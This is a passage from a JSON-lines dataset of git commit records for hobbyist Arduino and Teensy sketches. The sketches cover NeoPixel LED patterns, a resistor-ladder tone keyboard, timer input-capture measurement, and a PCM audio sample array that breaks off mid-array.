git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"0229b404479e49bd835638d48d3245c589743721","subject":"Added arduino sketch to repository.","message":"Added arduino sketch to repository.\n","repos":"2635Lakemonsters\/T-Shirt-Robot","old_file":"arduino\/Robot_Arduino_Code\/Robot_Arduino_Code.ino","new_file":"arduino\/Robot_Arduino_Code\/Robot_Arduino_Code.ino","new_contents":"#include <Adafruit_NeoPixel.h>\n#include <Wire.h>\n#define PIN 6\n\n\/\/ Parameter 1 = number of pixels in strip\n\/\/ Parameter 2 = pin number (most are valid)\n\/\/ Parameter 3 = pixel type flags, add together as needed:\n\/\/ NEO_KHZ800 800 KHz bitstream (most NeoPixel products w\/WS2812 LEDs)\n\/\/ NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)\n\/\/ NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products)\n\/\/ NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2)\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(60, PIN, NEO_GRB + NEO_KHZ800);\n\n\/\/Based heavily off of 3574's LED Arduino code, modified and appended by 2635\n\nvoid setup() \n{\n strip.begin();\n strip.show();\n Wire.being(4);\n Wire.onReceive(receiveEvent);\n}\n\nint showPattern = -1;\nuint32_t colorRed = strip.Color(255,0,0);\n\nvoid loop() \n{\n showPattern = 0;\n switch(showPattern)\n {\n case 0: rainbowCycle(5); showPattern = -1; break;\n case 1: colorWipe(colorRed, 10); showPattern = -1; break;\n case 2: marchRedWhiteBlue(); showPattern = -1; break;\n default: solidColor(strip.Color(0, 0, 0));\n strip.show(); showPattern = -1; break;\n }\n\n}\n\n\n\/\/Wipe a color LED by LED through the strip, then clear it. Wait is delay between LED setting.\nvoid colorWipe(uint32_t c, uint8_t wait) {\n for(uint16_t i=0; i<strip.numPixels(); i++) {\n strip.setPixelColor(i, c);\n strip.show();\n delay(wait);\n }\n\n for(uint16_t i=0; i<strip.numPixels(); i++) \n {\n strip.setPixelColor(i, strip.Color(0,0,0));\n strip.show();\n delay(wait);\n }\n}\n\n\nvoid marchRedWhiteBlue()\n{\n uint32_t colors[] = { strip.Color(255,0,0), strip.Color(0,0,255), strip.Color(155,155,155) };\n \/\/ Turn everything black\n solidColor(strip.Color(0, 0, 0));\n \n int frame = 0;\n \n while( frame < 50 ) {\n for (int index = 0;index<strip.numPixels();index++)\n {\n \/\/strip.setPixelColor((index + (frame % 15)) % 60, colors[ ((index)\/5 + frame) % 3 ]);\n strip.setPixelColor((index + frame) % 60 , colors[ ((index)\/5) % 3 ]);\n }\n strip.show();\n delay(50);\n frame++;\n }\n \n}\n\n\/\/ Slightly different, this makes the rainbow equally distributed throughout\nvoid rainbowCycle(uint8_t wait) {\n uint16_t i, j;\n\n for(j=0; j<256*5; j++) { \/\/ 5 cycles of all colors on wheel\n for(i=0; i< strip.numPixels(); i++) {\n strip.setPixelColor(i, Wheel(((i * 256 \/ strip.numPixels()) + j) & 255));\n }\n strip.show();\n delay(wait);\n }\n}\n\n\n\n\/\/UTIL METHODS. Call them if you want. See if I care.\n\nvoid solidColor(uint32_t c){\n for(uint16_t i=0; i<strip.numPixels(); i++) {\n strip.setPixelColor(i, c);\n \n }\n}\n\nvoid receiveEvent(int howMany)\n{\n static uint8_t ct = 0;\n int x = Wire.read();\n showPattern = x;\n}\n\n\/\/ Input a value 0 to 255 to get a color value.\n\/\/ The colours are a transition r - g - b - back to r.\nuint32_t Wheel(byte WheelPos) {\n if(WheelPos < 85) {\n return strip.Color(WheelPos * 3, 255 - WheelPos * 3, 0);\n } else if(WheelPos < 170) {\n WheelPos -= 85;\n return strip.Color(255 - WheelPos * 3, 0, WheelPos * 3);\n } else {\n WheelPos -= 170;\n return strip.Color(0, WheelPos * 3, 255 - WheelPos * 3);\n }\n}\n\n\/\/ Run the length of the strip one light at a time\nvoid colorSwipe(uint32_t color, uint8_t wait) {\n for(int i = 0; i <= strip.numPixels(); i++) {\n \/\/ going out of bounds does not break things, so checks removed for readability\n \/\/ clean up behind it\n strip.setPixelColor(i-1, 0); \n \/\/if (i < strip.numPixels()) \n strip.setPixelColor(i, color);\n strip.show();\n delay(wait);\n }\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/Robot_Arduino_Code\/Robot_Arduino_Code.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"dae399e6ab31d9a5d4b62a05a5bf047e16fe8c2b","subject":"Switch keyboard with resistor ladder","message":"Switch keyboard with resistor ladder\n","repos":"martindisch\/Arduino","old_file":"Project_7\/Project_7.ino","new_file":"Project_7\/Project_7.ino","new_contents":"int notes[] = {262, 294, 330, 349};\n\nvoid setup() {\n Serial.begin(9600);\n}\n\nvoid loop() {\n int keyVal = analogRead(A0);\n Serial.println(keyVal);\n if (keyVal == 1023) {\n tone(8, notes[0]);\n }\n else if (keyVal >= 950 && keyVal <= 1010) {\n tone(8, notes[1]);\n }\n else if (keyVal >= 505 && keyVal <= 515) {\n tone(8, notes[2]);\n }\n else if (keyVal >= 5 && keyVal <= 10) {\n tone(8, notes[3]);\n }\n else {\n noTone(8);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Project_7\/Project_7.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d94494a20db4bdd813402e7f21dfe608b4d3ed0e","subject":"Sample sketch for signal edge-edge measurement.","message":"Sample sketch for signal edge-edge measurement.\n","repos":"tni\/teensy-samples","old_file":"input_capture_period.ino","new_file":"input_capture_period.ino","new_contents":"\/*\n * Distributed under the 2-clause BSD licence (See LICENCE.TXT file at the\n * repository root).\n *\n * Copyright (c) 2017 Tilo Nitzsche. All rights reserved.\n *\n * https:\/\/github.com\/tni\/teensy-samples\n *\/\n\n#include <WProgram.h>\n#include <DMAChannel.h>\n#include <array>\n\n\/\/ This code works with Kinetis K (Teensy 3.x)\n\/\/ Measure period between 2 rising edges of signal. (Or alternately, measure pulse width.)\n\/\/ Pin 21 is configured as output and connected to pin 3. It is used\n\/\/ to generate a test signal.\n\nconst uint8_t out_pin = 21;\nconst uint8_t capture_pin = 3;\n\n\n#define GPIO_BITBAND_ADDR(reg, bit) (((uint32_t)&(reg) - 0x40000000) * 32 + (bit) * 4 + 0x42000000)\n#define GPIO_BITBAND_PTR(reg, bit) ((volatile uint32_t *)GPIO_BITBAND_ADDR((reg), (bit)))\n#define OUT_PIN_BITBAND_REG GPIO_BITBAND_PTR(CORE_PIN21_PORTREG, CORE_PIN21_BIT)\n\n\/\/ The Arduino preprocessor is buggy and screws up template functions outside namespaces.\nnamespace {\ntemplate<size_t N> __attribute__((always_inline)) void generateNopsHelper() {\n generateNopsHelper<N-1>();\n asm volatile (\"nop\");\n}\ntemplate<> __attribute__((always_inline)) void generateNopsHelper<0>() {}\n\ntemplate<size_t N> __attribute__((always_inline)) FASTRUN void generateNops() {\n generateNopsHelper<N>();\n}\n\ntemplate<size_t high_time, size_t low_time>\n__attribute__((noinline)) FASTRUN void generateDoublePulse() {\n \/\/ force 0 and 1 to be loaded in registers, so that we can get precise pulses\n uint32_t v_low = 0;\n uint32_t v_high = 1;\n volatile uint32_t dummy = v_low; dummy = v_high;\n asm volatile (\"\" ::: \"memory\");\n (void) *OUT_PIN_BITBAND_REG; \/\/ load OUT_PIN_BITBAND_REG into register\n noInterrupts();\n *OUT_PIN_BITBAND_REG = v_high;\n generateNops<high_time>();\n *OUT_PIN_BITBAND_REG = v_low;\n generateNops<low_time>();\n *OUT_PIN_BITBAND_REG = v_high;\n generateNops<high_time>();\n *OUT_PIN_BITBAND_REG = v_low;\n generateNops<low_time>();\n interrupts();\n}\n\n} \/\/ namespace\n\n\nauto& serial = Serial;\n\nvoid setup() {\n \/\/ setup FTM1 in free running mode, counting from 0 - 0xFFFF\n FTM1_SC = 0;\n FTM1_CNT = 0;\n FTM1_MOD = 0xFFFF;\n \/\/ pin 3 config to FTM mode; pin 3 is connected to FTM1 channel 0\n CORE_PIN3_CONFIG = PORT_PCR_MUX(3);\n \/\/ set FTM1 clock source to system clock; FTM_SC_PS(0): divide clock by 1\n FTM1_SC = (FTM_SC_CLKS(1) | FTM_SC_PS(0));\n\n \/\/ need to unprotect FTM1_COMBINE register\n FTM1_MODE = FTM_MODE_WPDIS;\n \/\/ set FTM1 CH0 to dual edge capture, paired channels\n FTM1_COMBINE = FTM_COMBINE_DECAP0 | FTM_COMBINE_DECAPEN0;\n FTM1_MODE = FTM_MODE_WPDIS | FTM_MODE_FTMEN;\n\n \/\/ measure period between 2 rising edges\n \/\/ channel 0, capture rising edge; FTM_CSC_MSA --> continous capture mode\n FTM1_C0SC = FTM_CSC_ELSA | FTM_CSC_MSA;\n \/\/ channel 1, capture rising edge; FTM_CSC_MSA --> continous capture mode\n FTM1_C1SC = FTM_CSC_ELSA | FTM_CSC_MSA | FTM_CSC_MSA;\n\n \/\/ to measure pulse width, use the following config for FTM1_C1SC:\n \/\/ channel 1, capture falling edge and trigger DMA, FTM_CSC_MSA --> continous capture mode\n \/\/FTM1_C1SC = FTM_CSC_CHIE | FTM_CSC_DMA| FTM_CSC_ELSB | FTM_CSC_MSA;\n\n pinMode(out_pin, OUTPUT);\n\n serial.begin(115200);\n delay(2000);\n}\n\nstatic uint32_t iteration_cnt = 0;\n\nvoid loop() {\n if(iteration_cnt % 2 == 0) generateDoublePulse<20, 80>();\n else generateDoublePulse<40, 160>();\n\n \/\/ The two FTM value registers are synchronized. FTM1_C0V must be read before\n \/\/ FTM1_C1V. The FTM1_C1V read will reflect the correct capture that happened\n \/\/ immeditely after the FTM1_C0V capture.\n \/\/ (FTM1_C0V, FTM1_C1V) are continously updated with the current captured edge\n \/\/ pair by the FTM timer and reflect the most current measurement.\n uint16_t first_edge_time = FTM1_C0V;\n uint16_t second_edge_time = FTM1_C1V;\n\n serial.printf(\"Iteration: %u\\n\", iteration_cnt);\n serial.printf(\"first_edge_time: %u second_edge_time: %u\\n\", first_edge_time, second_edge_time);\n serial.printf(\"Period: %i\\n\\n\", uint16_t(second_edge_time - first_edge_time));\n\n iteration_cnt++;\n delay(1000);\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'input_capture_period.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"9eeb0e3ca7e8a092560ca2251ad65e38315487b6","subject":"Create count.ino","message":"Create count.ino","repos":"linhartr22\/count","old_file":"count.ino","new_file":"count.ino","new_contents":"#include <PCM.h>\nconst char unsigned PROGMEM PCM_ZERO[]={\n0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e\n,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x80,0x7f,0x80,0x80,0x80,0x7f,0x80,0x80,0x80,0x80,0x80,0x81,0x81\n,0x81,0x81,0x81,0x82,0x82,0x82,0x82,0x82,0x82,0x82,0x82,0x82,0x82,0x81,0x82,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x81\n,0x81,0x81,0x80,0x80,0x80,0x80,0x80,0x80,0x81,0x81,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f\n,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7e,0x7e,0x7e,0x7e,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d,0x7d\n,0x7d,0x7d,0x7e,0x7e,0x7e,0x7e,0x7e,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x81,0x81,0x81\n,0x81,0x81,0x81,0x82,0x82,0x82,0x82,0x82,0x82,0x82,0x82,0x82,0x82,0x82,0x81,0x81,0x81,0x81,0x81,0x81,0x80,0x81,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80\n,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x81,0x80,0x80,0x81,0x80,0x80,0x80,0x80,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x80,0x81,0x80,0x80,0x80\n,0x80,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7d,0x7d,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e\n,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7f,0x7f,0x7f,0x7f,0x80,0x80,0x80,0x80,0x81,0x81,0x81,0x81,0x81,0x81,0x80,0x80,0x80,0x80,0x80,0x7f,0x7f,0x7f,0x7f\n,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7f,0x7f,0x7f,0x80,0x80,0x81,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x81,0x81,0x80,0x81\n,0x81,0x81,0x81,0x81,0x82,0x82,0x82,0x83,0x83,0x84,0x84,0x84,0x84,0x84,0x84,0x84,0x84,0x83,0x83,0x83,0x82,0x82,0x81,0x81,0x81,0x80,0x80,0x7f,0x7f,0x7e,0x7d,0x7d\n,0x7c,0x7c,0x7c,0x7c,0x7b,0x7b,0x7b,0x7b,0x7b,0x7c,0x7b,0x7c,0x7c,0x7c,0x7c,0x7c,0x7c,0x7c,0x7c,0x7b,0x7c,0x7c,0x7c,0x7c,0x7c,0x7c,0x7d,0x7d,0x7e,0x7e,0x7f,0x7f\n,0x80,0x82,0x82,0x83,0x83,0x83,0x84,0x84,0x84,0x85,0x85,0x85,0x85,0x84,0x84,0x83,0x82,0x82,0x81,0x80,0x7f,0x7e,0x7e,0x7c,0x7c,0x7b,0x7b,0x7b,0x7a,0x7a,0x7a,0x7a\n,0x79,0x7a,0x7a,0x7a,0x7b,0x7a,0x7b,0x7b,0x7b,0x7a,0x7b,0x7a,0x7a,0x7a,0x79,0x79,0x7a,0x7a,0x7b,0x7c,0x7d,0x7f,0x80,0x82,0x83,0x85,0x87,0x89,0x8a,0x8b,0x8c,0x8d\n,0x8d,0x8e,0x8e,0x8d,0x8d,0x8c,0x8b,0x8b,0x89,0x87,0x85,0x84,0x83,0x81,0x80,0x7d,0x7d,0x7c,0x7a,0x7a,0x79,0x79,0x79,0x79,0x7a,0x7a,0x7a,0x7a,0x7a,0x7a,0x79,0x79\n,0x78,0x77,0x76,0x75,0x74,0x73,0x73,0x72,0x72,0x73,0x74,0x75,0x77,0x7a,0x7c,0x7f,0x81,0x82,0x86,0x87,0x88,0x8a,0x8b,0x8b,0x8b,0x8c,0x8b,0x8b,0x8b,0x8a,0x8b,0x8a\n,0x89,0x89,0x87,0x85,0x85,0x83,0x81,0x80,0x7e,0x7d,0x7d,0x7b,0x7b,0x7b,0x7b,0x7b,0x7a,0x7a,0x7b,0x7b,0x7a,0x7b,0x7a,0x7a,0x78,0x76,0x75,0x74,0x72,0x71,0x70,0x6d\n,0x6d,0x6d,0x6e,0x6e,0x71,0x73,0x77,0x7b,0x7e,0x83,0x87,0x88,0x8a,0x8d,0x8d,0x8f,0x8e,0x8e,0x8f,0x8e,0x8d,0x8d,0x8e,0x8b,0x8c,0x8c,0x8b,0x8c,0x87,0x88,0x87,0x83\n,0x84,0x82,0x80,0x81,0x7d,0x7d,0x81,0x7c,0x7c,0x80,0x7d,0x7f,0x7f,0x7c,0x81,0x7e,0x7b,0x7f,0x7a,0x77,0x79,0x71,0x71,0x71,0x69,0x6a,0x6b,0x68,0x69,0x6c,0x6e,0x74\n,0x79,0x7a,0x83,0x89,0x89,0x8e,0x8f,0x8f,0x92,0x8d,0x8c,0x90,0x89,0x8a,0x8b,0x87,0x8a,0x89,0x85,0x8a,0x87,0x83,0x86,0x82,0x82,0x81,0x7e,0x80,0x7d,0x79,0x7c,0x7a\n,0x7d,0x79,0x79,0x7f,0x7b,0x7b,0x7e,0x7c,0x7e,0x7c,0x75,0x7c,0x76,0x71,0x70,0x6b,0x6a,0x67,0x62,0x66,0x64,0x61,0x6b,0x6b,0x74,0x7a,0x7d,0x89,0x8d,0x8f,0x94,0x96\n,0x96,0x96,0x92,0x92,0x91,0x8b,0x8b,0x8a,0x88,0x87,0x85,0x87,0x87,0x83,0x84,0x85,0x82,0x81,0x80,0x82,0x81,0x7f,0x7f,0x82,0x7f,0x81,0x80,0x7f,0x84,0x7f,0x81,0x84\n,0x81,0x7e,0x7e,0x7b,0x7a,0x73,0x6e,0x6e,0x68,0x62,0x65,0x65,0x5e,0x69,0x65,0x6f,0x7b,0x75,0x89,0x8e,0x8f,0x9d,0x99,0x9f,0xa1,0x98,0x9c,0x96,0x91,0x8f,0x89,0x89\n,0x87,0x82,0x83,0x84,0x82,0x83,0x81,0x82,0x83,0x7e,0x81,0x7f,0x7b,0x7e,0x7c,0x7a,0x7e,0x77,0x7a,0x7d,0x78,0x7c,0x7c,0x79,0x7c,0x79,0x75,0x76,0x6e,0x6b,0x67,0x64\n,0x5c,0x60,0x61,0x54,0x67,0x64,0x6a,0x7c,0x74,0x8f,0x94,0x92,0xa4,0xa0,0xa4,0xa5,0x9a,0x9e,0x99,0x8e,0x8c,0x88,0x84,0x81,0x7f,0x81,0x83,0x80,0x84,0x88,0x84,0x87\n,0x84,0x86,0x86,0x7f,0x7f,0x7f,0x7c,0x7b,0x78,0x7b,0x79,0x77,0x7c,0x79,0x7d,0x7b,0x76,0x78,0x76,0x6d,0x68,0x60,0x5e,0x57,0x5a,0x59,0x51,0x65,0x61,0x71,0x7b,0x81\n,0x9c,0x9b,0xa4,0xaf,0xae,0xb2,0xab,0xa3,0xa6,0x9a,0x91,0x8d,0x89,0x84,0x7e,0x7f,0x81,0x83,0x80,0x87,0x8b,0x8a,0x8e,0x8c,0x8e,0x8e,0x86,0x84,0x84,0x7f,0x7a,0x77\n,0x77,0x74,0x71,0x74,0x73,0x70,0x6e,0x6e,0x6a,0x61,0x5b,0x57,0x4e,0x4e,0x5c,0x4e,0x54,0x69,0x6f,0x80,0x81,0x98,0xaa,0xa9,0xb0,0xb1,0xb6,0xb0,0xa1,0x9c,0x96,0x8d\n,0x7e,0x79,0x7b,0x75,0x76,0x74,0x7f,0x85,0x86,0x8d,0x93,0x9b,0x97,0x96,0x9a,0x99,0x8e,0x86,0x88,0x81,0x76,0x70,0x70,0x6e,0x65,0x64,0x6a,0x67,0x60,0x5e,0x58,0x55\n,0x52,0x48,0x45,0x55,0x58,0x4c,0x5d,0x73,0x86,0x87,0x90,0xae,0xb6,0xb4,0xb0,0xb4,0xb8,0xa7,0x97,0x92,0x8a,0x83,0x73,0x70,0x73,0x77,0x7c,0x79,0x87,0x94,0x9b,0x99\n,0xa1,0xac,0xa8,0x9f,0x9d,0x9e,0x94,0x86,0x82,0x82,0x7a,0x72,0x71,0x74,0x72,0x6d,0x6c,0x6b,0x65,0x58,0x4d,0x4a,0x46,0x3b,0x38,0x4f,0x53,0x54,0x61,0x7f,0x9c,0x9b\n,0xa4,0xbd,0xcd,0xc3,0xb5,0xb5,0xb7,0xa0,0x89,0x80,0x7f,0x73,0x66,0x67,0x68,0x71,0x7a,0x87,0x8e,0x96,0xa2,0xab,0xab,0xa4,0xa5,0xa4,0x9c,0x8b,0x83,0x83,0x7c,0x73\n,0x6d,0x71,0x74,0x72,0x70,0x73,0x73,0x6b,0x5f,0x53,0x4a,0x3f,0x39,0x2d,0x2d,0x42,0x4c,0x52,0x5d,0x7c,0xa4,0xb1,0xb0,0xbe,0xd5,0xda,0xc2,0xad,0xaa,0xa5,0x8f,0x71\n,0x69,0x69,0x69,0x61,0x5d,0x6b,0x7f,0x91,0x96,0x9b,0xa6,0xb4,0xb7,0xa9,0x9e,0x9c,0x9b,0x8c,0x79,0x73,0x78,0x7a,0x71,0x6e,0x76,0x81,0x81,0x7a,0x76,0x76,0x6d,0x59\n,0x45,0x39,0x33,0x29,0x1d,0x27,0x40,0x50,0x5c,0x6b,0x93,0xbb,0xc9,0xc9,0xcf,0xe1,0xe1,0xc8,0xa9,0x9a,0x92,0x80,0x66,0x56,0x56,0x5e,0x62,0x64,0x6d,0x84,0xa1,0xaf\n,0xae,0xad,0xb9,0xc0,0xb4,0x9b,0x8c,0x8c,0x87,0x77,0x67,0x6a,0x76,0x7d,0x7b,0x7d,0x87,0x8e,0x8d,0x84,0x7b,0x6d,0x5a,0x46,0x35,0x25,0x18,0x0b,0x13,0x33,0x4d,0x5c\n,0x65,0x8a,0xc1,0xe1,0xdf,0xd3,0xdb,0xea,0xdc,0xaf,0x87,0x76,0x74,0x63,0x49,0x39,0x44,0x5b,0x6a,0x71,0x7c,0x95,0xb1,0xc4,0xc4,0xbb,0xb4,0xb2,0xaa,0x96,0x7d,0x6c\n,0x6a,0x6d,0x6e,0x6a,0x6e,0x7e,0x8f,0x97,0x96,0x93,0x92,0x91,0x85,0x6e,0x53,0x3e,0x2f,0x21,0x10,0x03,0x05,0x21,0x48,0x63,0x78,0x8d,0xb7,0xe4,0xfb,0xf4,0xe0,0xda\n,0xd7,0xc0,0x92,0x64,0x50,0x4d,0x45,0x3a,0x36,0x4a,0x65,0x7d,0x91,0xa3,0xb7,0xc6,0xd0,0xd1,0xc6,0xb1,0x9d,0x8d,0x83,0x72,0x62,0x5e,0x65,0x73,0x7e,0x88,0x92,0xa1\n,0xad,0xae,0xa6,0x9b,0x91,0x82,0x6d,0x56,0x40,0x2c,0x1b,0x12,0x12,0x13,0x14,0x2e,0x5d,0x85,0x9a,0xa1,0xbe,0xe8,0xff,0xf4,0xd0,0xb8,0xb0,0x9e,0x7a,0x4d,0x34,0x34\n,0x3c,0x45,0x4b,0x5d,0x77,0x92,0xaa,0xbc,0xc7,0xc4,0xbe,0xb8,0xb0,0x9d,0x81,0x6a,0x62,0x65,0x65,0x60,0x63,0x77,0x92,0xa6,0xaa,0xac,0xb4,0xba,0xb3,0x9d,0x89,0x79\n,0x6b,0x5a,0x49,0x3c,0x31,0x29,0x25,0x28,0x2f,0x37,0x3c,0x53,0x79,0x9b,0xad,0xac,0xb7,0xcf,0xe1,0xd5,0xb1,0x91,0x87,0x7e,0x6b,0x4f,0x40,0x44,0x51,0x61,0x71,0x85\n,0x94,0x9e,0xa7,0xb2,0xba,0xb4,0xa4,0x91,0x86,0x80,0x76,0x68,0x61,0x65,0x71,0x7e,0x8a,0x97,0xa6,0xb4,0xba,0xba,0xb6,0xad,0x9e,0x8c,0x7c,0x6f,0x64,0x56,0x4c,0x48\n,0x48,0x44,0x3b,0x35,0x36,0x3e,0x40,0x49,0x66,0x89,0xa1,0xa2,0xa5,0xbe,0xd9,0xda,0xb9,0x97,0x8c,0x8b,0x7e,0x60,0x47,0x45,0x52,0x61,0x6a,0x76,0x87,0x94,0x9d,0xa3\n,0xab,0xa9,0x9a,0x87,0x7f,0x82,0x7d,0x6d,0x63,0x6d,0x82,0x8f,0x93,0x9c,0xb0,0xc0,0xbf,0xb5,0xae,0xaa,0xa0,0x8c,0x78,0x6c,0x66,0x5f,0x56,0x53,0x56,0x58,0x52,0x47\n,0x3f,0x3f,0x3f,0x3d,0x3b,0x4c,0x6f,0x8f,0xa1,0xa1,0xac,0xc4,0xd9,0xd4,0xb4,0x92,0x82,0x7a,0x6c,0x51,0x3c,0x3c,0x4a,0x5e,0x6d,0x7f,0x8e,0x9b,0xa4,0xa9,0xad,0xa6\n,0x93,0x7b,0x6f,0x72,0x77,0x74,0x6c,0x6f,0x83,0x9e,0xb0,0xb6,0xb7,0xb9,0xbb,0xb6,0xa8,0x94,0x81,0x73,0x6b,0x67,0x64,0x64,0x66,0x6e,0x77,0x7e,0x7a,0x71,0x65,0x5d\n,0x55,0x48,0x3a,0x32,0x34,0x4a,0x6a,0x85,0x9a,0xa2,0xaf,0xc3,0xd2,0xce,0xb1,0x8e,0x74,0x65,0x5a,0x4a,0x3d,0x3c,0x49,0x65,0x7f,0x97,0xa6,0xad,0xb4,0xb6,0xb5,0xa7\n,0x8e,0x74,0x64,0x61,0x63,0x65,0x69,0x75,0x87,0x9a,0xaa,0xb5,0xba,0xb6,0xab,0x9f,0x97,0x8d,0x80,0x72,0x6d,0x73,0x7c,0x82,0x84,0x88,0x8d,0x91,0x8a,0x7d,0x6b,0x5a\n,0x47,0x36,0x2a,0x24,0x24,0x27,0x32,0x58,0x89,0xad,0xbb,0xb4,0xbb,0xcd,0xd4,0xbc,0x8a,0x60,0x50,0x4d,0x4a,0x40,0x40,0x51,0x6d,0x91,0xae,0xc6,0xcb,0xc2,0xb5,0xab\n,0xa0,0x85,0x5f,0x40,0x3a,0x47,0x54,0x5a,0x66,0x81,0xa5,0xc2,0xcf,0xd0,0xc9,0xbe,0xae,0x9c,0x8a,0x77,0x68,0x62,0x69,0x77,0x83,0x8a,0x8f,0x97,0x9d,0x9b,0x8e,0x7e\n,0x6f,0x61,0x53,0x46,0x3c,0x36,0x34,0x36,0x3a,0x43,0x50,0x6f,0x95,0xaa,0xab,0x9e,0xa3,0xb4,0xb4,0x98,0x6e,0x56,0x58,0x5e,0x5d,0x5a,0x62,0x79,0x93,0xad,0xbf,0xc6\n,0xbb,0xa5,0x96,0x8e,0x85,0x6a,0x4a,0x3c,0x46,0x5e,0x71,0x7c,0x8d,0xa1,0xb5,0xc2,0xc7,0xc1,0xaf,0x99,0x88,0x80,0x78,0x6c,0x66,0x6e,0x82,0x94,0x9f,0xa7,0xaf,0xb3\n,0xae,0x9f,0x8c,0x77,0x62,0x51,0x47,0x43,0x41,0x42,0x46,0x4d,0x53,0x57,0x59,0x58,0x54,0x55,0x6f,0x8b,0x96,0x8c,0x80,0x91,0xa7,0xaa,0x95,0x7a,0x70,0x74,0x74,0x76\n,0x76,0x7a,0x80,0x89,0x9d,0xac,0xae,0x9d,0x8c,0x88,0x88,0x81,0x6e,0x5f,0x5e,0x68,0x76,0x84,0x8f,0x95,0x97,0x9d,0xa6,0xa9,0x9e,0x8d,0x83,0x85,0x8b,0x8c,0x8c,0x90\n,0x97,0x9f,0xa5,0xa7,0xa3,0x99,0x8d,0x80,0x72,0x63,0x57,0x52,0x53,0x59,0x62,0x6d,0x77,0x7d,0x81,0x7f,0x74,0x63,0x51,0x44,0x37,0x2b,0x27,0x37,0x63,0x8a,0x9c,0xa4\n,0xac,0xc0,0xcd,0xc1,0xa7,0x85,0x69,0x5e,0x5e,0x65,0x67,0x67,0x78,0x96,0xb6,0xc5,0xc0,0xb1,0x9f,0x92,0x85,0x74,0x5e,0x49,0x44,0x53,0x6b,0x80,0x91,0xa3,0xae,0xb2\n,0xb4,0xb3,0xab,0x97,0x84,0x7c,0x7b,0x7b,0x7b,0x80,0x89,0x91,0x96,0x9a,0x9a,0x92,0x86,0x7b,0x72,0x68,0x60,0x5c,0x5f,0x64,0x68,0x6c,0x72,0x75,0x74,0x6f,0x67,0x5c\n,0x4f,0x46,0x43,0x42,0x40,0x43,0x54,0x70,0x99,0xb6,0xbb,0xb9,0xb7,0xb8,0xb0,0x98,0x7d,0x65,0x55,0x55,0x61,0x71,0x7e,0x86,0x98,0xaf,0xbd,0xba,0xa9,0x93,0x7f,0x71\n,0x67,0x61,0x5a,0x59,0x63,0x79,0x92,0xa2,0xa7,0xa5,0xa3,0x9f,0x98,0x8d,0x7f,0x77,0x78,0x7f,0x87,0x90,0x98,0x9c,0x9d,0x9b,0x98,0x8d,0x80,0x72,0x6a,0x65,0x60,0x5e\n,0x5f,0x66,0x6e,0x77,0x7f,0x83,0x83,0x80,0x7d,0x78,0x70,0x66,0x5c,0x59,0x59,0x5d,0x5f,0x63,0x67,0x6d,0x70,0x75,0x7c,0x89,0x9f,0xa4,0xa0,0x9c,0x96,0x95,0x92,0x89\n,0x7f,0x71,0x6a,0x74,0x80,0x86,0x8b,0x8c,0x93,0x9a,0x9d,0x9d,0x91,0x7f,0x76,0x73,0x73,0x73,0x71,0x73,0x78,0x85,0x93,0x99,0x98,0x92,0x93,0x91,0x8c,0x83,0x7c,0x79\n,0x7a,0x82,0x87,0x8c,0x8d,0x8d,0x8e,0x8c,0x88,0x80,0x78,0x71,0x70,0x70,0x70,0x6f,0x71,0x76,0x7a,0x7e,0x7f,0x7f,0x7e,0x7d,0x7c,0x79,0x78,0x75,0x6f,0x6b,0x6b,0x6f\n,0x71,0x71,0x6e,0x6c,0x6b,0x6c,0x69,0x66,0x64,0x67,0x72,0x87,0x98,0x98,0x97,0x95,0x93,0x95,0x91,0x84,0x76,0x6e,0x6f,0x79,0x80,0x88,0x90,0x92,0x9a,0x9e,0x9d,0x96\n,0x87,0x7a,0x71,0x6c,0x6e,0x71,0x72,0x78,0x82,0x8d,0x95,0x96,0x94,0x92,0x8b,0x85,0x82,0x81,0x82,0x83,0x86,0x89,0x8e,0x92,0x93,0x91,0x8d,0x89,0x85,0x82,0x7f,0x7c\n,0x79,0x78,0x77,0x78,0x7a,0x